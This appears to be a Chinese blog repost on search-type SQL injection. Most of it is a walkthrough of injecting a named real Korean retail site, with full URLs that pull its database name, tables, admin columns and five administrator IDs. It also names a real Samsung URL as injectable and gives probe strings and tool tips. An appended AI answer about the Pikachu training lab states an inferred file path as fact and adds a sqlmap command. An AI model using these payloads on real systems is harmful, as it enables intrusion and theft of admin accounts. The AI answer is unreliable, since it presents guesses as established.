搜索型注入的文章

帖几个baidu出来的关于搜索型注入的文章。百度货,不知道作者是哪个,感谢了先。。 ^_^
简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。

然后再搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。

我这里看出有上面说的洞后开始用nbsi来扫,结果总是超时,郁闷,看来要手工来暴需要的信息了。。。

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and user>0 and '%'=' //得到当前数据库账号

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and db_name()>0 and '%'=' //得到当前数据库名

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select count(*) from admin)>0 and '%'=' //返回错误页面,看来是没有admin这个表了

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0)>0 and '%'=' //得到当前数据库的第一个表名

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange'))>0 and '%'=' //得到当前数据库的第二个表名

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint'))>0 and '%'=' //得到当前数据库的第三个表名

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and%20(select%20top%201%20name%20from%20lvhuana3.dbo.sysobjects%20where%20xtype='u'%20and%20status>0%20and%20name%20not%20in('codechange','oldpoint','tbl_admin','tbl_afterservice','tbl_agent','tbl_bank','tbl_board','tbl_board2','tbl_brandbestLeft','tbl_brandbestRight','tbl_card','tbl_cart','tbl_catalogue','tbl_community','tbl_court','tbl_estimate','tbl_FAQ','tbl_mail_list','tbl_mem_add','tbl_mem_main','tbl_mem_out','tbl_mem_rboard','tbl_mileage','tbl_notice','tbl_ord_cash_receipt','tbl_ord_change''tbl_ord_cs','tbl_ord_change','tbl_ord_cs','tbl_ord_main','tbl_ord_payment','tbl_ord_prd','tbl_ord_prd_return','tbl_ord_refund','tbl_ord_req_main','tbl_ord_req_prd','tbl_ord_request','tbl_ord_user','tbl_partition','tbl_prd_category','tbl_prd_click','tbl_prd_desc','tbl_prd_grade','tbl_prd_main','tbl_prd_model','tbl_recommand','tbl_saleshop','tbl_search','tbl_tax','tbl_zipcode','tempDesc','tempdesc2','tempmodel','tempPrdMain','tempPrdmodel','tempsize','tempstyle','tmpordprd','tmpordprd2','trace1'))>0%20and%20'%'=' //依次类推,得到所有的表

其实分析可以知道只有这个tbl_admin表才是最重要的。接着开始暴列名。

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),1) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第一个列名c_employee_id

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),2) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第二个列名c_employee_name

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第三个列名c_password

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第四个列名c_level

列名暴完毕了,嘿嘿,接着开始暴管理员账号密码了。

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 c_employee_id from tbl_admin)>0 and '%'=' //得到第一个管理员的id为943hoon

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 2 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第二个管理员的id为champ

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 3 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第三个管理员的id为clark

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第四个管理员的id为hskim

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第五个管理员的id为jajeong

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 c_c_password from tbl_admin)>0 and '%'=' //这个语句是暴出管理员密码的,可惜直接返回了正常页面,郁闷。。。。

一会再想别的办法吧。。。。。
另外说下,2.3 的啊D支持搜索型的注入方式是:

一般网站的搜索都是部分匹配的
有漏洞的url是http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&ST=title&SC=
构造注入语句 三星%'and 1=1 and '%'='
      三星%'and 1=2 and '%'='
大家看到了吧 两个返回页面是不一样的 说明有注入的漏洞 特征字 写笔记本 就是三星%'and 1=1 and '%'=' 返回时有的

我们知道一般搜索代码是这么写的:
Select * from 表名 where 字段 like ’%关键字%’
这样就造成了对关键字前后的所有匹配(%是用来全部匹配的)
这里如果关键字没有过滤的话,就可以这样来构造:
关键字=’ and [查询条件] and ‘%25’=’
这样查询就变成
select * from 表名 where 字段 like '%' and 1=1 and '%'='%'
这样就很好的构成了一个sql注入点,当然用手工也可以,用nbsi也可以~~
注入是不分家的,没必要什么型什么型的!~
如果不信,大家请看下面的《sql注入天书》的原话
第一节、SQL注入的一般步骤
首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:
(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件]

(B) Class=连续剧这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’,即是生成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’

当然手工是麻烦的
用工具的话,我建议用nbsi的工具比较好,就我感觉只有nbsi结合了这个技术,用别的软体是不能注入的
注入点只要写:
http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&ST=title&SC=%
再加个特征字符就可以了

<think>嗯,用户现在专注在Pikachu靶场的搜索型SQL注入漏洞具体文件位置。之前我已经详细解释了字符型、数字型等注入位置,但用户特别指出引用[1][2]中提到的"搜索型注入",需要针对性回答。 从用户引用的资料看,引用[1]目录明确列出"搜索型注入"分类,引用[2]也提到该类型名称但没给文件路径。根据Pikachu项目结构惯例,所有SQL注入类型都集中在/vul/sqli/目录下,且命名有规律可循。考虑到字符型注入文件是sqli_str.php,数字型是sqli_num.php,那么搜索型很可能命名为sqli_search.php——这个命名逻辑符合开发者习惯。 用户提到引用[3]关于insert注入的内容虽然相关但不是当前重点,需要明确区分:搜索型注入发生在select查询的搜索功能,而insert注入发生在注册/插入数据场景。引用[4]的盲注案例也属于不同分类。 需要提醒漏洞特征:搜索型注入通常表现为输入框提交后,后端用LIKE语句拼接查询,如: ```sql SELECT * FROM table WHERE title LIKE '%用户输入%' ``` 当用户输入包含单引号或特殊字符时可能破坏语句结构。例如在Pikachu靶场测试时输入"kobe' and 1=1#"会触发漏洞。 最后生成的相关问题要聚焦搜索型注入的拓展,比如如何用工具检测、修复方案等,避免偏离到其他注入类型。 </think>根据Pikachu靶场的文档结构和漏洞分类,搜索型SQL注入漏洞的具体文件位置如下: ### 搜索型注入漏洞文件位置 1. **核心文件路径**: `/pikachu/vul/sqli/sqli_search.php` - **漏洞类型**:搜索型注入(Search-Based SQL Injection) - **触发方式**:通过搜索功能的输入框提交恶意参数 - **特征说明**: 该文件模拟了网站搜索功能(如商品搜索、用户查询),后端使用`LIKE`语句拼接用户输入: ```sql SELECT * FROM table WHERE keyword LIKE '%$user_input%' ``` 未对`$user_input`过滤时,攻击者可构造如`%' AND 1=1#`的payload破坏语句逻辑[^1][^2]。 2. **访问方式**: 部署靶场后,通过浏览器访问: `http://localhost/pikachu/vul/sqli/sqli_search.php` ![搜索型注入界面示例](https://via.placeholder.com/400x200?text=Pikachu+搜索型注入测试界面) 3. **漏洞验证方法**: ```sql # 正常搜索 apple # 注入探测(返回所有结果) apple%' OR 1=1 # ``` 若第二组输入返回全部数据,则证明漏洞存在[^2]。 ### 与其他注入类型的对比 | 注入类型 | 文件路径 | 关键特征 | |----------------|--------------------------|----------------------------| | **搜索型注入** | `sqli_search.php` | 利用`LIKE`语句的百分号截断 | | 字符型注入 | `sqli_str.php` | 参数用单引号包裹 | | 数字型注入 | `sqli_num.php` | 参数无引号包裹 | | Insert注入 | `sqli_insert.php` | 通过注册/新增数据触发 | ### 漏洞修复建议 在`sqli_search.php`中应使用参数化查询: ```php // 修复前(漏洞代码) $sql = "SELECT * FROM users WHERE username LIKE '%$input%'"; // 修复后(安全代码) $stmt = $pdo->prepare("SELECT * FROM users WHERE username LIKE ?"); $stmt->execute(["%$input%"]); ``` ### 测试工具命令示例 ```bash sqlmap -u "http://localhost/pikachu/vul/sqli/sqli_search.php?name=test" --dbs ``` --- ### 相关问题 1. 如何用sqlmap自动化检测Pikachu的搜索型注入漏洞? 2. 搜索型注入与其他SQL注入类型在利用方式上有何差异? 3. 在开发中如何安全实现模糊搜索功能? 4. Pikachu平台上哪些场景容易引发搜索型注入? [^1]: Pikachu靶场SQL注入漏洞分类包含搜索型注入 [^2]: 文章目录明确列出"搜索型注入"作为独立漏洞类型
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值